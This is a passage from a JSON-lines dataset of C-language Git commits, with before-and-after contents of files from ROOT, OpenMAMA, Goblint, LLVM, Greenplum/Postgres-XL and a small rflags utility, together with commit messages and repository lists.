ROOT_TEnumConstant\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TEnumConstant                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ TEnumConstant class defines a constant in the TEnum type.            \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_TGlobal\n#include \"TGlobal.h\"\n#endif\n\nclass TEnum;\n\nclass TEnumConstant : public TGlobal {\nprivate:\n   const TEnum       *fEnum;  \/\/the enum type\n   Long64_t           fValue; \/\/the value for the constant\n\npublic:\n   TEnumConstant(): fEnum(0), fValue(-1) {}\n   TEnumConstant(DataMemberInfo_t *info, const char* name, Long64_t value, TEnum* type);\n   virtual ~TEnumConstant();\n\n   virtual void *GetAddress() const { return (void*) &fValue; }\n   Long64_t      GetValue() const { return fValue; }\n   const TEnum  *GetType() const { return fEnum; }\n\n   ClassDef(TEnumConstant,2)  \/\/Enum type constant\n};\n\n#endif\n","subject":"Implement a GetAddress method that returns the address of the value data member","message":"Implement a GetAddress method that returns the address of the value data member\n\nthis is different from the one of TGlobal which implies the presence of\ninformation in the interpreter. This is done in order to support enum constants\nwhich are created in the ROOT typesystem starting from the information in rootpcms.\n*IMPORTANT NOTE*: the type of the enum constant value is Long64_t.\n","lang":"C","license":"lgpl-2.1","repos":"zzxuanyuan\/root-compressor-dummy,bbockelm\/root,evgeny-boger\/root,mattkretz\/root,gganis\/root,veprbl\/root,sirinath\/root,agarciamontoro\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,pspe\/root,vukasinmilosevic\/root,satyarth934\/root,sbinet\/cxx-root,davidlt\/root,CristinaCristescu\/root,bbockelm\/root,vukasinmilosevic\/root,lgiommi\/root,dfunke\/root,sbinet\/cxx-root,dfunke\/root,CristinaCristescu\/root,vukasinmilosevic\/root,agarciamontoro\/root,dfunke\/root,esakellari\/root,veprbl\/root,bbockelm\/root,perovic\/root,Duraznos\/root,davidlt\/root,CristinaCristescu\/root,esakellari\/my_root_for_test,Duraznos\/root,omazapa\/root,thomaskeck\/root,jrtomps\/root,sawenzel\/root,evgeny-boger\/root,CristinaCristescu\/root,mhuwiler\/rootauto,karies\/root,davidlt\/root,pspe\/root,olifre\/root,0x0all\/ROOT,root-mirror\/root,satyarth934\/root,sawenzel\/root,BerserkerTroll\/root,Duraznos\/root,BerserkerTroll\/root,gbitzes\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,dfunke\/root,davidlt\/root,evgeny-boger\/root,lgiommi\/root,krafczyk\/root,simonpf\/root,Y--\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,mhuwiler\/rootauto,evgeny-boger\/root,agarciamontoro\/root,mhuwiler\/rootauto,georgtroska\/root,beniz\/root,arch1tect0r\/root,simonpf\/root,dfunke\/root,mattkretz\/root,Duraznos\/root,satyarth934\/root,sirinath\/root,0x0all\/ROOT,sirinath\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,perovic\/root,pspe\/root,nilqed\/root,karies\/root,krafczyk\/root,agarciamontoro\/root,mkret2\/root,davidlt\/root,perovic\/root,mattkretz\/root,omazapa\/root,davidlt\/root,Y--\/root,simonpf\/root,lgiommi\/root,Duraznos\/root,jrtomps\/root,abhinavmoudgil95\/root,mkret2\/root,omazapa\/root,perovic\/root,veprbl\/root,sbinet\/cxx-root,gbitzes\/root,sirinath\/root,zzxuanyuan\/root,veprbl\/root,simonpf\/root,root-mirror\/root,olifre\/root,BerserkerTroll\/root,nilqed\/root,sirinath\/root,vukasinmilosevic\/root,simonpf\/root,omazapa\/root,olifre\/root,gganis\/root,bbockelm\/root,beniz\/root,nilqed\/root,perovic\/root,beniz\/root,gbitzes\/root,nilqed\/root,olifre\/root,esakellari\/root,buuck\/root,perovic\/root,sawenzel\/root,buuck\/root,mattkretz\/root,karies\/root,georgtroska\/root,mhuwiler\/rootauto,satyarth934\/root,bbockelm\/root,nilqed\/root,veprbl\/root,omazapa\/root-old,satyarth934\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,perovic\/root,jrtomps\/root,gganis\/root,esakellari\/root,BerserkerTroll\/root,krafczyk\/root,olifre\/root,karies\/root,BerserkerTroll\/root,beniz\/root,BerserkerTroll\/root,nilqed\/root,krafczyk\/root,dfunke\/root,buuck\/root,omazapa\/root,omazapa\/root,bbockelm\/root,beniz\/root,abhinavmoudgil95\/root,lgiommi\/root,sirinath\/root,esakellari\/my_root_for_test,dfunke\/root,esakellari\/my_root_for_test,mattkretz\/root,arch1tect0r\/root,vukasinmilosevic\/root,pspe\/root,veprbl\/root,evgeny-boger\/root,pspe\/root,sawenzel\/root,0x0all\/ROOT,thomaskeck\/root,evgeny-boger\/root,davidlt\/root,thomaskeck\/root,mhuwiler\/rootauto,BerserkerTroll\/root,agarciamontoro\/root,arch1tect0r\/root,gganis\/root,Y--\/root,mkret2\/root,arch1tect0r\/root,sbinet\/cxx-root,esakellari\/my_root_for_test,gbitzes\/root,gbitzes\/root,beniz\/root,thomaskeck\/root,jrtomps\/root,sawenzel\/root,sawenzel\/root,Y--\/root,evgeny-boger\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,krafczyk\/root,mkret2\/root,olifre\/root,agarciamontoro\/root,krafczyk\/root,dfunke\/root,perovic\/root,arch1tect0r\/root,veprbl\/root,omazapa\/root,BerserkerTroll\/root,mattkretz\/root,thomaskeck\/root,vukasinmilosevic\/root,simonpf\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,olifre\/root,BerserkerTroll\/root,karies\/root,mkret2\/root,sbinet\/cxx-root,jrtomps\/root,sbinet\/cxx-root,mattkretz\/root,lgiommi\/root,gganis\/root,vukasinmilosevic\/root,sawenzel\/root,arch1tect0r\/root,abhinavmoudgil95\/root,Duraznos\/root,buuck\/root,vukasinmilosevic\/root,gganis\/root,thomaskeck\/root,esakellari\/my_root_for_test,davidlt\/root,zzxuanyuan\/root-compressor-dummy,sirinath\/root,agarciamontoro\/root,sawenzel\/root,davidlt\/root,sbinet\/cxx-root,vukasinmilosevic\/root,mattkretz\/root,gbitzes\/root,sirinath\/root,buuck\/root,mkret2\/root,zzxuanyuan\/root,simonpf\/root,karies\/root,thomaskeck\/root,esakellari\/root,buuck\/root,jrtomps\/root,omazapa\/root-old,simonpf\/root,root-mirror\/root,zzxuanyuan\/root,CristinaCristescu\/root,omazapa\/root,nilqed\/root,mhuwiler\/rootauto,thomaskeck\/root,abhinavmoudgil95\/root,esakellari\/root,zzxuanyuan\/root,Duraznos\/root,sawenzel\/root,pspe\/root,omazapa\/root-old,Y--\/root,nilqed\/root,zzxuanyuan\/root,olifre\/root,gbitzes\/root,omazapa\/root,pspe\/root,pspe\/root,jrtomps\/root,mkret2\/root,sbinet\/cxx-root,0x0all\/ROOT,bbockelm\/root,satyarth934\/root,CristinaCristescu\/root,gbitzes\/root,buuck\/root,beniz\/root,lgiommi\/root,omazapa\/root,simonpf\/root,agarciamontoro\/root,omazapa\/root-old,abhinavmoudgil95\/root,mhuwiler\/rootauto,nilqed\/root,satyarth934\/root,sawenzel\/root,omazapa\/root-old,root-mirror\/root,abhinavmoudgil95\/root,georgtroska\/root,evgeny-boger\/root,abhinavmoudgil95\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,thomaskeck\/root,vukasinmilosevic\/root,dfunke\/root,abhinavmoudgil95\/root,Y--\/root,lgiommi\/root,jrtomps\/root,zzxuanyuan\/root,beniz\/root,root-mirror\/root,mhuwiler\/rootauto,sbinet\/cxx-root,esakellari\/root,simonpf\/root,bbockelm\/root,root-mirror\/root,esakellari\/my_root_for_test,pspe\/root,evgeny-boger\/root,Duraznos\/root,mhuwiler\/rootauto,Y--\/root,lgiommi\/root,arch1tect0r\/root,olifre\/root,gbitzes\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,omazapa\/root-old,CristinaCristescu\/root,root-mirror\/root,davidlt\/root,gganis\/root,esakellari\/my_root_for_test,arch1tect0r\/root,esakellari\/root,nilqed\/root,perovic\/root,omazapa\/root-old,0x0all\/ROOT,sirinath\/root,perovic\/root,karies\/root,agarciamontoro\/root,omazapa\/root-old,mattkretz\/root,georgtroska\/root,gbitzes\/root,esakellari\/my_root_for_test,buuck\/root,bbockelm\/root,karies\/root,esakellari\/root,krafczyk\/root,arch1tect0r\/root,jrtomps\/root,georgtroska\/root,veprbl\/root,jrtomps\/root,karies\/root,bbockelm\/root,omazapa\/root-old,evgeny-boger\/root,esakellari\/root,omazapa\/root-old,mkret2\/root,beniz\/root,buuck\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,georgtroska\/root,sirinath\/root,karies\/root,root-mirror\/root,0x0all\/ROOT,CristinaCristescu\/root,zzxuanyuan\/root,0x0all\/ROOT,Y--\/root,perovic\/root,sbinet\/cxx-root,lgiommi\/root,abhinavmoudgil95\/root,georgtroska\/root,bbockelm\/root,BerserkerTroll\/root,omazapa\/root,krafczyk\/root,nilqed\/root,sirinath\/root,esakellari\/root,Duraznos\/root,olifre\/root,mattkretz\/root,sawenzel\/root,vukasinmilosevic\/root,Y--\/root,georgtroska\/root,sbinet\/cxx-root,mhuwiler\/rootauto,lgiommi\/root,veprbl\/root,gganis\/root,satyarth934\/root,lgiommi\/root,zzxuanyuan\/root,krafczyk\/root,gganis\/root,dfunke\/root,arch1tect0r\/root,mkret2\/root,agarciamontoro\/root,esakellari\/root,pspe\/root,satyarth934\/root,Duraznos\/root,buuck\/root,root-mirror\/root,root-mirror\/root,dfunke\/root,mattkretz\/root,thomaskeck\/root,mhuwiler\/rootauto,krafczyk\/root,zzxuanyuan\/root,pspe\/root,jrtomps\/root,georgtroska\/root,mkret2\/root,mkret2\/root,zzxuanyuan\/root,georgtroska\/root,BerserkerTroll\/root,simonpf\/root,root-mirror\/root,evgeny-boger\/root,gbitzes\/root,buuck\/root,0x0all\/ROOT,georgtroska\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,Y--\/root,krafczyk\/root,karies\/root,abhinavmoudgil95\/root,Y--\/root,veprbl\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,0x0all\/ROOT"}
{"commit":"72667ea922ed9b703b56a87cd71844b74801cd55","old_file":"common\/c_cpp\/src\/c\/windows\/wombat\/wUuid.h","new_file":"common\/c_cpp\/src\/c\/windows\/wombat\/wUuid.h","old_contents":"\/* $Id: wUuid.h,v 1.1.2.2 2012\/03\/20 11:15:17 emmapollock Exp $\n *\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n#ifndef WUUID_H__\n#define WUUID_H__\n\n#include \"wombat\/port.h\"\n\ntypedef int wUuid;\n\nCOMMONExpDLL\nvoid wUuid_generate_time (wUuid myUuid);\n\nCOMMONExpDLL\nvoid wUuid_unparse (wUuid myUuid, char* out);\n\n#endif \/* WUUID_H__ *\/\n","new_contents":"\/* $Id: wUuid.h,v 1.1.2.2 2012\/03\/20 11:15:17 emmapollock Exp $\n *\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n#ifndef WUUID_H__\n#define WUUID_H__\n\n#include \"wombat\/port.h\"\n\ntypedef char* wUuid;\n\nCOMMONExpDLL\nvoid wUuid_generate_time (wUuid myUuid);\n\nCOMMONExpDLL\nvoid wUuid_unparse (wUuid myUuid, char* out);\n\n#endif \/* WUUID_H__ *\/\n","subject":"Change uuid to char* from int for Windows","message":"Change uuid to char* from int for Windows\n\nSigned-off-by: Mike Schonberg <a0b795d7498c6bea81956c992e86c1008615b63d@nyx.com>\n","lang":"C","license":"lgpl-2.1","repos":"MattMulhern\/OpenMamaCassandra,jacobraj\/MAMA,MattMulhern\/OpenMamaCassandra,dmaguire\/OpenMAMA,dpauls\/OpenMAMA,philippreston\/OpenMAMA,jacobraj\/MAMA,jacobraj\/MAMA,fquinner\/OpenMAMA,jacobraj\/MAMA,vulcanft\/openmama,dmaguire\/OpenMAMA,cloudsmith-io\/openmama,MattMulhern\/OpenMamaCassandra,dmagOM\/OpenMAMA-dynamic,dmagOM\/OpenMAMA-dynamic,MattMulhern\/OpenMamaCassandra,fquinner\/OpenMAMA,cloudsmith-io\/openmama,dmaguire\/OpenMAMA,fquinner\/OpenMAMA,cloudsmith-io\/openmama,MattMulhern\/OpenMAMA,jacobraj\/MAMA,fquinner\/OpenMAMA,philippreston\/OpenMAMA,philippreston\/OpenMAMA,dpauls\/OpenMAMA,vulcanft\/openmama,cloudsmith-io\/openmama,kuangtu\/OpenMAMA,kuangtu\/OpenMAMA,cloudsmith-io\/openmama,philippreston\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,MattMulhern\/OpenMAMA,kuangtu\/OpenMAMA,vulcanft\/openmama,fquinner\/OpenMAMA,dpauls\/OpenMAMA,vulcanft\/openmama,dmaguire\/OpenMAMA,MattMulhern\/OpenMAMA,MattMulhern\/OpenMamaCassandra,MattMulhern\/OpenMAMA,philippreston\/OpenMAMA,kuangtu\/OpenMAMA,vulcanft\/openmama,dpauls\/OpenMAMA,philippreston\/OpenMAMA,fquinner\/OpenMAMA,jacobraj\/MAMA,cloudsmith-io\/openmama,cloudsmith-io\/openmama,philippreston\/OpenMAMA,MattMulhern\/OpenMAMA,dmaguire\/OpenMAMA,MattMulhern\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,dpauls\/OpenMAMA,MattMulhern\/OpenMamaCassandra,kuangtu\/OpenMAMA,kuangtu\/OpenMAMA,MattMulhern\/OpenMAMA,dmaguire\/OpenMAMA,kuangtu\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,fquinner\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,dpauls\/OpenMAMA,dpauls\/OpenMAMA,vulcanft\/openmama,vulcanft\/openmama,dmaguire\/OpenMAMA"}
{"commit":"a129bc76b0b47ec732e2229dda4165bae8083e2a","old_file":"tests\/regression\/13-privatized\/31-traces-mine-vs-mutex.c","new_file":"tests\/regression\/13-privatized\/31-traces-mine-vs-mutex.c","old_contents":"","new_contents":"\/\/ Copied & modified from 13\/28.\n#include <pthread.h>\n#include <assert.h>\n\nint g;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  g++;\n  pthread_mutex_unlock(&B); \/\/ Write Mine influence: [[g, B], t2_fun, {A}] -> 1\n  pthread_mutex_lock(&B);\n  g--;\n  pthread_mutex_unlock(&B); \/\/ Write Mine influence: [[g, B], t2_fun, {A}] -> 0\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&B); \/\/ Read & join to g Mine influence: [[g, B], t2_fun, {A}] -> (0 join 1 = Unknown)\n  pthread_mutex_unlock(&B);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g == 0);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n\n  pthread_join(id, NULL);\n  return 0;\n}","subject":"Add cleaned up example where mine and mutex-* differ","message":"Add cleaned up example where mine and mutex-* differ\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"588c5e4b6f5fa8e45811d3f4e95d3b94f8f58341","old_file":"test\/tools\/llvm-symbolizer\/print_context.c","new_file":"test\/tools\/llvm-symbolizer\/print_context.c","old_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:7\n\/\/ CHECK: 5  : #include\n\/\/ CHECK: 6  :\n\/\/ CHECK: 7 >: int inc\n\/\/ CHECK: 8  :   return\n\/\/ CHECK: 9  : }\n","new_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\/\/\n\/\/ See PR31870 for more details on the XFAIL\n\/\/ XFAIL: avr\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:7\n\/\/ CHECK: 5  : #include\n\/\/ CHECK: 6  :\n\/\/ CHECK: 7 >: int inc\n\/\/ CHECK: 8  :   return\n\/\/ CHECK: 9  : }\n","subject":"Mark a failing symbolizer test as XFAIL","message":"[AVR] Mark a failing symbolizer test as XFAIL\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@309512 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm"}
{"commit":"c84ea433d725db190e6e2e51344ec055422414fe","old_file":"src\/include\/port\/win.h","new_file":"src\/include\/port\/win.h","old_contents":"#define JMP_BUF\n#define HAS_TEST_AND_SET\ntypedef unsigned char slock_t;\n\n#ifndef O_DIROPEN\n#define O_DIROPEN\t0x100000\t\/* should be in sys\/fcntl.h *\/\n#endif\n","new_contents":"#define JMP_BUF\n#define HAS_TEST_AND_SET\ntypedef unsigned char slock_t;\n\n#ifndef O_DIROPEN\n#define O_DIROPEN\t0x100000\t\/* should be in sys\/fcntl.h *\/\n#endif\n\n#define tzname _tzname \/* should be in time.h?*\/\n#define USE_POSIX_TIME\n#define HAVE_INT_TIMEZONE \/* has int _timezone *\/\n","subject":"Fix from Yutaka Tanida <yutaka@marin.or.jp>","message":"Fix from Yutaka Tanida <yutaka@marin.or.jp>\n","lang":"C","license":"apache-2.0","repos":"xuegang\/gpdb,ahachete\/gpdb,kaknikhil\/gpdb,Postgres-XL\/Postgres-XL,yuanzhao\/gpdb,foyzur\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,arcivanov\/postgres-xl,xinzweb\/gpdb,randomtask1155\/gpdb,atris\/gpdb,atris\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,zaksoup\/gpdb,zaksoup\/gpdb,rubikloud\/gpdb,ashwinstar\/gpdb,foyzur\/gpdb,Chibin\/gpdb,Chibin\/gpdb,zeroae\/postgres-xl,kmjungersen\/PostgresXL,50wu\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,postmind-net\/postgres-xl,Quikling\/gpdb,ovr\/postgres-xl,lisakowen\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,snaga\/postgres-xl,edespino\/gpdb,arcivanov\/postgres-xl,zaksoup\/gpdb,Postgres-XL\/Postgres-XL,Quikling\/gpdb,randomtask1155\/gpdb,rvs\/gpdb,rubikloud\/gpdb,postmind-net\/postgres-xl,yuanzhao\/gpdb,techdragon\/Postgres-XL,atris\/gpdb,cjcjameson\/gpdb,ahachete\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,lintzc\/gpdb,Postgres-XL\/Postgres-XL,ovr\/postgres-xl,zeroae\/postgres-xl,royc1\/gpdb,yazun\/postgres-xl,randomtask1155\/gpdb,kaknikhil\/gpdb,greenplum-db\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,tangp3\/gpdb,royc1\/gpdb,kmjungersen\/PostgresXL,royc1\/gpdb,tangp3\/gpdb,Chibin\/gpdb,50wu\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,atris\/gpdb,CraigHarris\/gpdb,50wu\/gpdb,ashwinstar\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,rvs\/gpdb,tpostgres-projects\/tPostgres,randomtask1155\/gpdb,tangp3\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,lpetrov-pivotal\/gpdb,Quikling\/gpdb,ahachete\/gpdb,adam8157\/gpdb,edespino\/gpdb,foyzur\/gpdb,oberstet\/postgres-xl,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,tangp3\/gpdb,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,snaga\/postgres-xl,janebeckman\/gpdb,ashwinstar\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,foyzur\/gpdb,rvs\/gpdb,0x0FFF\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,kaknikhil\/gpdb,royc1\/gpdb,greenplum-db\/gpdb,tangp3\/gpdb,chrishajas\/gpdb,lintzc\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,postmind-net\/postgres-xl,arcivanov\/postgres-xl,adam8157\/gpdb,randomtask1155\/gpdb,tpostgres-projects\/tPostgres,Chibin\/gpdb,ovr\/postgres-xl,xuegang\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,lisakowen\/gpdb,randomtask1155\/gpdb,rvs\/gpdb,Quikling\/gpdb,xuegang\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,adam8157\/gpdb,CraigHarris\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,Postgres-XL\/Postgres-XL,kmjungersen\/PostgresXL,royc1\/gpdb,rvs\/gpdb,kmjungersen\/PostgresXL,postmind-net\/postgres-xl,oberstet\/postgres-xl,0x0FFF\/gpdb,postmind-net\/postgres-xl,ashwinstar\/gpdb,zaksoup\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,kaknikhil\/gpdb,randomtask1155\/gpdb,tangp3\/gpdb,foyzur\/gpdb,chrishajas\/gpdb,kmjungersen\/PostgresXL,chrishajas\/gpdb,yuanzhao\/gpdb,ahachete\/gpdb,snaga\/postgres-xl,royc1\/gpdb,Quikling\/gpdb,zaksoup\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,50wu\/gpdb,Chibin\/gpdb,techdragon\/Postgres-XL,yuanzhao\/gpdb,xuegang\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,edespino\/gpdb,zaksoup\/gpdb,oberstet\/postgres-xl,Chibin\/gpdb,lintzc\/gpdb,jmcatamney\/gpdb,pavanvd\/postgres-xl,jmcatamney\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,lisakowen\/gpdb,0x0FFF\/gpdb,techdragon\/Postgres-XL,zaksoup\/gpdb,chrishajas\/gpdb,edespino\/gpdb,kaknikhil\/gpdb,jmcatamney\/gpdb,arcivanov\/postgres-xl,jmcatamney\/gpdb,0x0FFF\/gpdb,xinzweb\/gpdb,cjcjameson\/gpdb,rvs\/gpdb,arcivanov\/postgres-xl,CraigHarris\/gpdb,0x0FFF\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,xinzweb\/gpdb,snaga\/postgres-xl,rubikloud\/gpdb,edespino\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,Quikling\/gpdb,snaga\/postgres-xl,rvs\/gpdb,ovr\/postgres-xl,50wu\/gpdb,lintzc\/gpdb,chrishajas\/gpdb,foyzur\/gpdb,lisakowen\/gpdb,CraigHarris\/gpdb,pavanvd\/postgres-xl,atris\/gpdb,adam8157\/gpdb,adam8157\/gpdb,rubikloud\/gpdb,pavanvd\/postgres-xl,zeroae\/postgres-xl,edespino\/gpdb,Postgres-XL\/Postgres-XL,ahachete\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,tpostgres-projects\/tPostgres,atris\/gpdb,zeroae\/postgres-xl,rubikloud\/gpdb,oberstet\/postgres-xl,techdragon\/Postgres-XL,0x0FFF\/gpdb,tangp3\/gpdb,techdragon\/Postgres-XL,lisakowen\/gpdb,yazun\/postgres-xl,xuegang\/gpdb,arcivanov\/postgres-xl,oberstet\/postgres-xl,royc1\/gpdb,jmcatamney\/gpdb,janebeckman\/gpdb,zeroae\/postgres-xl,lintzc\/gpdb,atris\/gpdb,yuanzhao\/gpdb,yuanzhao\/gpdb,xuegang\/gpdb,lpetrov-pivotal\/gpdb,tpostgres-projects\/tPostgres,tpostgres-projects\/tPostgres,janebeckman\/gpdb,chrishajas\/gpdb,Quikling\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,ahachete\/gpdb,lintzc\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,foyzur\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,rvs\/gpdb,50wu\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,tangp3\/gpdb,ahachete\/gpdb,foyzur\/gpdb,jmcatamney\/gpdb,yuanzhao\/gpdb,yazun\/postgres-xl,kaknikhil\/gpdb,ahachete\/gpdb,rubikloud\/gpdb,rvs\/gpdb,janebeckman\/gpdb,ovr\/postgres-xl,janebeckman\/gpdb,cjcjameson\/gpdb"}
{"commit":"03b8a58e6b8fbfcdbe8bad02e4d0cda0f372972c","old_file":"rflags.c","new_file":"rflags.c","old_contents":"#include <inttypes.h>\n#include <stdio.h>\n\nint main()\n{\n\tuint64_t rflags;\n\t__asm__ __volatile__ (\"pushf; popq %0\" : \"=g\" (rflags) ::\"memory\");\n\tprintf(\"rFLAGS: %016llx\\n\", rflags);\n#define BIT(name, number) \\\n\tprintf(\"\\t%s: %d\\n\", name, rflags & (1 << number) ? 1 : 0)\n\n\tconst char* bits[] = {\n\t\t\"CF\",\n\t\t\"Reserved (1)\",\n\t\t\"PF\",\n\t\t\"Reserved (0)\",\n\t\t\"AF\",\n\t\t\"Reserved (0)\",\n\t\t\"ZF (Zero)\",\n\t\t\"SF (Sign)\",\n\t\t\"TF (Trap)\",\n\t\t\"IF (Interrupt)\",\n\t\t\"DF (Direction)\",\n\t\t\"OF (Overflow)\",\n\t\t\"IOPL LSB\",\n\t\t\"IOPL MSB\",\n\t\t\"NT\"\n\t};\n\tint i;\n\tfor (i=0;i<sizeof(bits)\/sizeof(*bits);i++)\n\t\tBIT(bits[i], i);\n}\n","new_contents":"#include <inttypes.h>\n#include <stdio.h>\n\nint main()\n{\n\tuint64_t rflags;\n\t__asm__ __volatile__ (\"pushf; popq %0\" : \"=g\" (rflags) ::\"memory\");\n\tprintf(\"rFLAGS: %016llx\\n\", (unsigned long long)rflags);\n#define BIT(name, number) \\\n\tprintf(\"\\t%s: %d\\n\", name, rflags & (1 << number) ? 1 : 0)\n\n\tconst char* bits[] = {\n\t\t\"CF\",\n\t\t\"Reserved 